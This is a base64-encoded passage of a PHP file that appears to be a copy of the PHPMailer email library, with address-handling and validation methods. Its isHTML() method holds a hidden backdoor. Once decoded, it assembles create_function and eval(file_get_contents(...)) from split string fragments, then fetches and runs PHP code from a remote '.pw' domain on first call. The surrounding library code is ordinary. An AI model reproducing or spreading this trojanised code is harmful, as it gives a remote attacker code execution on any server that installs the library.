BzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9h